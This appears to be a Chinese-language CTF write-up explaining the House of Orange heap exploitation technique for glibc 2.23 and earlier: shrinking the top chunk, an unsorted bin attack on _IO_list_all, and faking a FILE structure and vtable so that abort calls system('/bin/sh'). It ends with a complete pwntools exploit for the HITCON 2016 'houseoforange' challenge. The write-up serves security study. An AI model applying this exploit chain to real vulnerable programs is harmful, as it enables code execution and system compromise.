前言#
这一个house of链应该算是最早的伪造io file来达到攻击目的的链了
借助这个来熟悉一下file结构体 这个链本身现在已经失去价值了 只能适用于libc2.23及以前的版本
这条链可以突破没有free函数的限制 并且达到劫持程序执行流的目的
File结构#
File是linux标准IO库中用来描述文件的结构 程序的许多操作会涉及到遍历File结构体来获取对应指针
file结构的本质上是一个链表 链表头为IO_list_all 每个file结构的chain域指向下一个file结构
每个程序启动时有三个文件流是默认打开的 就是stdin stdout stderr

至于vtable 是一个存放许多函数指针的结构体

house of orange所涉及到的就是伪造上述的这两个结构体 从而劫持程序执行流
链路流程分析#
我们知道 当plmalloc初始化堆后 如果bin中没有合适的chunk 就会从top chunk中分配所需要的chunk 那么如果所申请的chunk大于top chunk呢 分两种情况
一种是申请的chunk的size过大 需要通过mmap来分配 那么这种情况分配到的chunk就会位于libc地址上的一块空间
还有一种是top chunk过小 那么此时就会把top chunk释放进入unsortedbin 随后再次申请一个top chunk 从新的top chunk中分配所需要的chunk 不过释放top chunk还需要进行一次判断 下面来看一下源码
/* There are no usable arenas and mmap also failed. */ if (av == NULL) return 0;
/* Record incoming configuration of top */
old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));可以看到需要进行两次的assert检查
第一次 对top chunk的大小进行检查 需要大于MINSIZE 并且Prev_inuse位要为1 top chunk的addr和size加起来还要满足刚好为一个页
我们覆盖top chunk的size 使得其不足以供我们分配 这个size要使得top chunk的结尾后3位为000

此时我们覆盖top chunk的size 接下来申请一个大于其size的chunk top chunk就会被释放进入unsortedbin

通过这种办法 可以在程序没有给予释放chunk的函数下 获得一个unsortedbin中的chunk 而在2.23及以下的版本 unsortedbin attack来任意写一个main_arena地址还是可行的 这意味着我们拥有了一次任意写的机会
我们上面说到过 file结构本质是一个链表 是通过链表头的IO_list_all的chain域来链接到下一个的file结构体
那么如果我们覆盖IO_list_all指针存放的值 接着伪造一个file结构体 把chain域覆盖成fake_file的地址 就可以实现扰乱程序索引file结构体
但是unsortedbin attack任意写的功效是有限的 只能写入main_arena+88的地址 那么根据偏移 其chain域会索引到main_arena+88+0x68处
0x0 _flags0x8 _IO_read_ptr0x10 _IO_read_end0x18 _IO_read_base0x20 _IO_write_base0x28 _IO_write_ptr0x30 _IO_write_end0x38 _IO_buf_base0x40 _IO_buf_end0x48 _IO_save_base0x50 _IO_backup_base0x58 _IO_save_end0x60 _markers0x68 _chain0x70 _fileno0x74 _flags20x78 _old_offset0x80 _cur_column0x82 _vtable_offset0x83 _shortbuf0x88 _lock0x90 _offset0x98 _codecvt0xa0 _wide_data0xa8 _freeres_list0xb0 _freeres_buf0xb8 __pad50xc0 _mode0xc4 _unused20xd8 vtable
而这个偏移的地址 刚好是smallbins中 0x60的链表所位于的地址 所以我们可以释放一个0x60大小的chunk到smallbins 随后任意写覆盖io_list_all为main_arena+88 这样索引到的下一个file结构体就是smallbin chunk 伪造file结构体 就可以在这个chunk中伪造
接着是如何触发的问题 只是伪造肯定不能满足劫持执行流的目的 同时如何伪造也要根据触发的方式
这里涉及到了FSOP的知识点
其是通过IO_flush_all_lockp这个函数 这个函数会刷新io_list_all链表中的所有文件流 相当于对每个函数调用了fflush函数
而这个函数会调用到file结构体中vtable结构体中的IO_overflow函数
如下图 我们这样伪造一个file结构体

其vtable也被我们所伪造 来看以下vtable

将其overflow函数指针伪造成system 接下来利用gdb动调进入IO_flush_all_lockp函数 看看其调用system函数时的rdi参数时什么

可以看到rdi参数实际上是我们所伪造的file结构体的首地址 所以只要使得fake file的首地址为/bin/sh即可
那么如何触发IO_flush_all_lockp函数呢 一共有三种选择
-
当 libc 执行 abort 流程时
-
当执行 exit 函数时
-
当执行流从 main 函数返回时
这里使用的是第一种办法 相对来说更加通用
这个abort流程是什么呢 实际上我们破坏了堆结构 导致调用malloc_printerr函数来输出错误信息
至于具体是哪里的我没动调出来 大致的猜测是unsortedbin的bk指向的地址没有构成完整的双向链表导致的进入while循环 但是这个if分支为啥会成立就是个疑点了
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);malloc_printerr函数种会调用__libc_message函数

这个函数的内部就调用了abort函数

而abort内部调用了_IO_flush_all_lockp函数

于是就可以调用到fake file的io_overflow函数
同时我们再来看一下_IO_flush_all_lockp函数怎样才能调用了file结构体的io_overflow函数
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; }需要使得mode小于等于0 IO_write_ptr大于IO_write_base
那么就使得io_write_ptr = 1 io_write_base = mode = 0即可
还有一点需要注意的是 main_arena+88的那个fake file 如果我们触发了_IO_flush_all_lockp函数 其如果满足上面的条件 也是会调用overflow函数 但是很明显不能在这里就调用overflow函数
如下图 _mode的值是否为正负和aslr和pie导致的地址随机化有关 所以这里存在一个概率打通的问题 需要mode为负才能打通

真题分析#
houseoforange hitcon 2016#
add函数限制了申请chunk的size 小于等于0x1000
show函数可以打印堆块内容
edit函数存在堆溢出
但是没有释放堆块的函数 同时chunk指针只能保存一个 所以show和edit都只对最新申请的chunk有效

申请一个chunk会额外申请两个chunk 低地址处的chunk存放着实际分配的chunk和第三个chunk的地址
中间的chunk是实际分配的chunk 第三个chunk是用来存放price和color 不过没啥用 这题的核心考点不在于这两个伴随堆块
利用上面提到的办法 来使得top chunk被释放进入unsortedbin 随后申请一个chunk 就可以泄露libc基址
并且 如果申请到的是一个largebin chunk 那么还可以顺便泄露一下堆地址
add(0x10,b'aaaa')payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1)edit(len(payload),payload)add(0x1000,b'aaaa')add(0x400,cyclic(0x8))show()libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188success("libc_addr :"+hex(libc_addr))edit(0x10,cyclic(0x10))show()heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0success("heap_addr :"+hex(heap_addr))接下来就是利用unsortedbin attack来往io_list_all中写入main_arena的地址
随后计算偏移构造fake file
fake_io = libc_addr + libc.sym['_IO_list_all']system_addr = libc_addr + libc.sym['system']payload = cyclic(0x408)+p64(0x21)+cyclic(0x10) #填充到old top chunkfake_file = b'/bin/sh\x00'+p64(0x60) #覆盖size 使其释放到smallbin 0x60链表fake_file += p64(0)+p64(fake_io-0x10) #伪造bk域fake_file += p64(0)+p64(1) #布局io_write_ptr和io_write_basefake_file = fake_file.ljust(0xc0,b'\x00') #填充偏移payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr) #伪造vtable结构体随后再次进入add函数 只要触发了malloc函数 就可以触发fake file
完整exp:
from pwn import*from ctypes import *io = process("./pwn")#io = remote("node4.buuoj.cn",29861)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("/home/chen/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
def add(size,payload): io.recvuntil("Your choice : ") io.sendline(b'1') io.recvuntil("Length of name :") io.send(str(size)) io.recvuntil("Name :") io.send(payload) io.recvuntil("Price of Orange:") io.send(b'aaaa') io.recvuntil("Color of Orange:") io.send(str(1))def show(): io.recvuntil("Your choice : ") io.sendline(b'2')def edit(size,payload): io.recvuntil("Your choice : ") io.sendline(b'3') io.recvuntil("Length of name :") io.send(str(size)) io.recvuntil("Name:") io.send(payload) io.recvuntil("Price of Orange:") io.send(b'aaaa') io.recvuntil("Color of Orange:") io.send(str(1))
add(0x10,b'aaaa')payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1)edit(len(payload),payload)add(0x1000,b'aaaa')add(0x400,cyclic(0x8))show()libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188success("libc_addr :"+hex(libc_addr))edit(0x10,cyclic(0x10))show()heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0success("heap_addr :"+hex(heap_addr))fake_io = libc_addr + libc.sym['_IO_list_all']system_addr = libc_addr + libc.sym['system']payload = cyclic(0x408)+p64(0x21)+cyclic(0x10)fake_file = b'/bin/sh\x00'+p64(0x60)fake_file += p64(0)+p64(fake_io-0x10)fake_file += p64(0)+p64(1)fake_file = fake_file.ljust(0xc0,b'\x00')payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr)edit(len(payload),payload)io.recvuntil("Your choice : ")# gdb.attach(io,'b *$rebase(0xD68)')# pause(0)io.sendline(b'1')# pause()io.interactive()